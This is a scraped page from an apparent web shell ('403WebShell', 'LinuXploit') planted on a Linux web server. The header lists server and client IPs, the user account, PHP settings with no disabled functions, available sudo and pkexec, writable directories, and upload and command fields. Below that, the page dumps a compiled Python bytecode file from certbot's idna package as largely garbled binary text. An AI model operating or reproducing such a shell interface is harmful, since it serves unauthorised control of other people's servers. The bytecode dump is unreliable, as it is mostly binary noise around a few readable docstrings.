Uname:Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 173.249.148.11  /  Your IP : 216.73.216.179
Web Server : Apache/2.4.68 (AlmaLinux)
System : Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64
User : devinter ( 1006)
PHP Version : 8.3.35
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/certbot/5893/lib64/python3.12/site-packages/idna/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/certbot/5893/lib64/python3.12/site-packages/idna/__pycache__/intranges.cpython-312.pyc
�

��j;��|�dZddlZdeedeedffd�Zdededefd	�Zd
edeeeffd�Zded
eedfdefd�Z	y)a	
Given a list of integers, made up of (hopefully) a small number of long runs
of consecutive integers, compute a representation of the form
((start1, end1), (start2, end2) ...). Then answer the question "was x present
in the original list?" in time O(log(# runs)).
�N�list_�return.c��t|�}g}d}tt|��D]V}|dzt|�kr||||dzdz
k(r�&||dz|dz}|jt	|d|ddz��|}�Xt|�S)aRepresent a list of integers as a sequence of ranges:
    ((start_0, end_0), (start_1, end_1), ...), such that the original
    integers are exactly those x such that start_i <= x < end_i for some i.

    Ranges are encoded as single integers (start << 32 | end), not as tuples.
    ����r)�sorted�range�len�append�
_encode_range�tuple)r�sorted_list�ranges�
last_write�i�
current_ranges      �J/root/parts/certbot/install/lib/python3.12/site-packages/idna/intranges.py�intranges_from_listrs�����-�K�
�F��J�
�3�{�#�
$����q�5�3�{�#�#��A��+�a�!�e�:L�q�:P�(P��#�J��N�Q��U�;�
��
�
�m�M�!�$4�m�B�6G�!�6K�L�M��
����=���start�endc��|dz|zS)N� �)rrs  rrr s���R�K�3��r�rc��|dz	|dzfS)Nrl��r)rs r�
_decode_ranger$s��
��G�q�M�*�+�+r�int_rc���t|d�}tj||�}|dkDr!t||dz
�\}}||cxkr|kry|t	|�krt||�\}}||k(ryy)z=Determine if `int_` falls into one of the ranges in `ranges`.rrTF)r�bisect�bisect_leftrr
)rr�tuple_�pos�left�right�_s       r�intranges_containr'(s���
�4��
#�F�
�
�
�V�V�
,�C��Q�w�#�F�3��7�O�4���e��4��%��� ��S��[����s��,���a��4�<��r)
�__doc__r �list�intr
rrr�boolr'rrr�<module>r,s������t�C�y��U�3��8�_��*���3��3��,�S�,�U�3��8�_�,��C���s�C�x���T�r

Youez - 2016 - github.com/yon3zu
LinuXploit